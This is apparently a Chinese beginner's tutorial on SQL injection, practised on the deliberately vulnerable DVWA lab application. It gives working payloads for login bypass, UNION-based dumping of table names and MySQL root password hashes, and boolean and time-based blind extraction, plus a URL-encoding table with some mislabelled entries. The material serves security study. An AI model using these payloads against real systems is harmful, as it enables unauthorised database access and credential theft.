part1:前期准备
1、简介:既然要学,就要知道这是个什么东东:SQL注入是网站存在最多也是最简单的漏洞,主要原因是程序员在开发用户和数据库交互的系统时没有对用户输入的字符串进行过滤,转义,限制或处理不严谨,导致用户可以通过输入精心构造的字符串去非法获取到数据库中的数据。
2、看起来就很高级,但作为小白,那就老老实实从基础开始看吧:一般用户登录用的SQL语句为:SELECT * FROM user WHERE username='admin' AND password='passwd',此处admin和passwd分别为用户输入的用户名和密码,如果程序员没有对用户输入的用户名和密码做处理,就可以构造万能密码成功绕过登录验证,如用户输入'or 1#,SQL语句将变为:SELECT * FROM user WHERE username=''or 1#' AND password='',‘’or 1为TRUE,#注释掉后面的内容,所以查询语句可以正确执行。我们可以使用DVWA来测试一下。
(DVWA就是一个基于PHP/MySql搭建的Web应用程序,旨在为安全专业人员测试自己的专业技能和工具提供合法的 环境,帮助Web开发者更好的理解Web应用安全防范的过程。DVWA一共包含十个模块)
讲注入那点事:通过查询源码后可以得知是否存在SQL注入,进而进行破解,在low一层级下可以直接使用万能密码来获取其所有的“name”。
3、分类类类型:按数据类型可以分为数字型、字符型和搜索型,按提交方式可分为GET型,POST型,Cookie型和HTTP请求头注入,按执行效果有可以分为报错注入、联合查询注入、盲注和堆查询注入,其中盲注又可分为基于bool的和基于时间的注入。(从查询语句及可看出来这里是字符型的注入同时也是GET型注入和表单注入)数字型:注入查询语句为:SELECT * FROM user WHERE id=1,搜索型注入为查询语句为:SELECT * FROM user WHERE search like '%1%'。
4、理论浅get了那就要上实操实践:注入方法可以直接在URL中提交注入语句,需要注意的是,在URL提交SQL语句,需要将注释符#进行URL编码,有时候所有SQL语句都需要URL编码。
part2:SQL注入分类及判断
1、数字型/字符型:在知道查询语句的情况下我们很容易辨别是否存在注入及注入类型,很多时候我们并不知道查询语句是什么,所以这样判断,在URL或者表单中输入一个单引号或者其他特殊符号,页面出现错误说明此页面存在SQL注入,如果页面正常显示说明有字符被过滤或者不存在注入,可自行测试,如果存在注入可以进一步判断注入类型,在URL或者表单中输入0 or 1,如果可以查到数据,说明是数字型注入,如果输入0'or 1#,查到数据说明是字符型注入,方法不唯一。总之数字型注入不需要使用单引号闭合前面的单引号就可以执行SQL语句,而字符型必须闭合前面的单引号,然后才可以执行SQL语句,同时也需要把后面的单引号闭合,而注释就是很好的一种闭合后面的单引号的方法。
1.1查询语句:数字型注入查询语句为:SELECT * FROM user WHERE id=1,搜索型注入为查询语句为:SELECT * FROM user WHERE search like '%1%'。
2、GET型:网页的URL为:http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1,浏览器通常使用?来表示GET方法传递参数,而使用POST传递参数是不会显示到URL中的,因此URL中含有?说明就是使用GET方法传递参数。
part3:高潮实践
一、SQL注入方法:注入方法可以直接在URL中提交注入语句,需要注意的是,在URL提交SQL语句,需要将注释符#进行URL编码,有时候所有SQL语句都需要URL编码,上编码表!
backspace %08 |
I %49 |
v %76 |
ó %D3 |
tab %09 |
J %4A |
w %77 |
Ô %D4 |
linefeed %0A |
K %4B |
x %78 |
Õ %D5 |
creturn %0D |
L %4C |
y %79 |
Ö %D6 |
space %20 |
M %4D |
z %7A |
Ø %D8 |
! %21 |
N %4E |
{ %7B |
ù %D9 |
" %22 |
O %4F |
| %7C |
ú %DA |
# %23 |
P %50 |
} %7D |
Û %DB |
$ %24 |
Q %51 |
~ %7E |
ü %DC |
% %25 |
R %52 |
¢ %A2 |
Y %DD |
& %26 |
S %53 |
£ %A3 |
T %DE |
' %27 |
T %54 |
¥ %A5 |
ß %DF |
( %28 |
U %55 |
| %A6 |
à %E0 |
) %29 |
V %56 |
§ %A7 |
á %E1 |
* %2A |
W %57 |
« %AB |
a %E2 |
+ %2B |
X %58 |
¬ %AC |
ã %E3 |
, %2C |
Y %59 |
ˉ %AD |
ä %E4 |
- %2D |
Z %5A |
o %B0 |
å %E5 |
. %2E |
[ %5B |
± %B1 |
æ %E6 |
/ %2F |
\ %5C |
a %B2 |
ç %E7 |
0 %30 |
] %5D |
, %B4 |
è %E8 |
1 %31 |
^ %5E |
μ %B5 |
é %E9 |
2 %32 |
_ %5F |
» %BB |
ê %EA |
3 %33 |
` %60 |
¼ %BC |
ë %EB |
4 %34 |
a %61 |
½ %BD |
ì %EC |
5 %35 |
b %62 |
¿ %BF |
í %ED |
6 %36 |
c %63 |
à %C0 |
î %EE |
7 %37 |
d %64 |
á %C1 |
ï %EF |
8 %38 |
e %65 |
 %C2 |
e %F0 |
9 %39 |
f %66 |
à %C3 |
ñ %F1 |
: %3A |
g %67 |
Ä %C4 |
ò %F2 |
; %3B |
h %68 |
Å %C5 |
ó %F3 |
< %3C |
i %69 |
Æ %C6 |
ô %F4 |
= %3D |
j %6A |
Ç %C7 |
õ %F5 |
> %3E |
k %6B |
è %C8 |
ö %F6 |
%3F |
l %6C |
é %C9 |
÷ %F7 |
@ %40 |
m %6D |
ê %CA |
ø %F8 |
A %41 |
n %6E |
Ë %CB |
ù %F9 |
B %42 |
o %6F |
ì %CC |
ú %FA |
C %43 |
p %70 |
í %CD |
û %FB |
D %44 |
q %71 |
Î %CE |
ü %FC |
E %45 |
r %72 |
Ï %CF |
y %FD |
F %46 |
s %73 |
D %D0 |
t %FE |
G %47 |
t %74 |
Ñ %D1 |
ÿ %FF |
H %48 |
u %75 |
ò %D2 |
eg:'or 1#=%27or%201%23
1、联合查询注入:
联合查询注入可以在URL中提交SQL语句,也可以在表单提交,联合查询相当于把别的表的数据查询结果显示到当前表,使用联合查询时,必须使得两张表的表结构一致,因此我们需要判断当前表的列数有多少列,此外还需知道是字符型注入还是数字型注入,由前面实验(0'or 1#)可知这是字符型注入,所以我们闭合前面的单引号,构造联合注入语句,输入1'order by 1#,页面正常,然后输入1'order by 2#,依次增加,直到3时出现错误,说明当前表有2列。接着我们构造联合查询语句暴露查询列显示在网页的位置:'union select 1,2#;接着构造联合查询语句查询当前数据库用户和数据库名:'union select user(),database()#;
因为每个MySQL数据库中都有数据库information,和mysql,而所有的数据库信息全部存储在information中,MySQL的用户名和密码存储在mysql中的user表中,所以我们可以使用information来查询到所有的数据,查询当前数据库所有数据:表:'union select 1,table_name from information_schema.tables where table_schema=database()#;
查询当前数据库下数据表abc的所有字段:'union select 1,column_name from information_schema.columns where table_name='abc'#;
查询当前数据库下数据表abc的字段user的数据:'union select 1,user from abc#;
查询MySQL的root用户和密码hash值:'union select user,authentication_string from mysql.user#
(hash值:即哈希值,因为HASH算法的一个很广泛的用途,就是很多程序员都会使用的在数据库中保存用户密码的算法,通常不会直接保存用户密码(这样DBA(数据库管理员)就能看到用户密码啦,好危险啊))
2、基于bool的盲注:
上面的注入方法都需要网页可以显示查询数据的结果,而盲注适合页面不显示任何数据查询结果,基于bool的盲注就是页面只有正常和不正常两种情况,通过true和false来猜解数据,速度比较慢,基于bool的盲注通常用函数length(),返回长度,ascii(),返回ASCII值,substr(string,a,b),返回string以a开头,长度为b的字符串,count(),返回数量。
eg:点击DVWA页面的SQL Injection(Blind),随便输入数字发现只有两种显示结果,符合bool注入条件,构造语句猜测当前数据库名长度是否大于5:1' and length(database())>5#;返回为F说明当前数据库长度是小于5 的用二分法继续构造:1' and length(database())>3#;
显然长度大于3却不大于5,当前数据库名长度就是4,然后判断数据库名第一个字符ASCII是否大于97:1'and (ascii(substr(database(),1,1)))>97#,依旧使用二分法慢慢判断,最终确定为ASCII为100,对应字符为:d;
然后判断数据库名第二个字符ASCII是否大于97:1'and (ascii(substr(database(),2,1)))>97#,最终确定ASCII为118,对应字符:v,同上步骤继续,最终确定当前数据库为:dvwa;
然后判断当前数据库中数据表的个数:1'and (select count(*) from information_schema.tables where table_schema=database())>3#,这个步骤可以有也可以没有,看完下面就知道了;
然后判断当前数据库中第一个数据表的长度是否大于5:1'and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5#;
原理同上面判断数据库长度,最后得到当前数据库的第一个数据表的长度,获取第二个表的长度:1'and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)>5#,第三个,第四个以此类推,当第N个数据表长度大于0返回为假时,说明这个数据表不存在;
然后猜解当前数据库的第一个数据表的第一个字符的ASCII:1'and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>97#,结果为103,对应字符:g;
然后猜解当前数据库的第一个数据表的第二个字符的ASCII:1'and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1)))>97#,结果为117,对应字符:u,
第三个,第四个字符以此类推直到猜解完毕;
然后猜解当前数据库中数据表users的列数:1'and (select count(*) from information_schema.columns where table_schema=database() and table_name='users')>3#,同样,这个步骤也是可以省略的;
然后猜解当前数据库中数据表users的第一列的长度:1'and (select length(column_name) from information_schema.columns where table_name='users' limit 0,1)>5#,当大于0为假,说明此列不存在;
然后猜解当前数据库数据表users的第一列字段的第一个字符:1'and (ascii(substr(select column_name from information_schema.columns where table_name='users') limit 0,1),1,1)>97#,然后依次猜解完全部字段。
3、基于时间的盲注:
基于时间的盲注和基于bool的盲注很相似,只不过基于时间的盲注用于不管执行的SQL语句正确与否,页面都不会给任何提示,因此无法使用bool盲注。基于时间的盲注经常用到的函数除了上面的还有延时函数sleep(),if(c,a,b),如果c为真执行a,否则执行b。
猜解当前数据库名的长度,如果长度大于0就会延时 5s:1'andif(length(database())>0,sleep(5),0)#,完了看页面回显反应,如有明显延迟,则你懂的:)))
然后猜解当前数据库中数据表的个数:1'and if((select count(*) from information_schema.tables where table_schema=database())>3,sleep(3),0)#;
然后猜解当前数据库中的第一个数据表的第一个字符的ASCII:1'and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>97,sleep(3),0)#,同bool注入的步骤一样,只是注入语句有点差异,类比上面的语句即可猜解数所有数据。(重点精髓即在于sleep函数)
到这里得要掌握的啊啊啊:
1、测试网页是否存在SQL注入
2、判断SQL注入类型
3、利用SQL语句查询数据库当前用户及数据库
4、利用SQL语句查询表名、列名、字段名以及字段值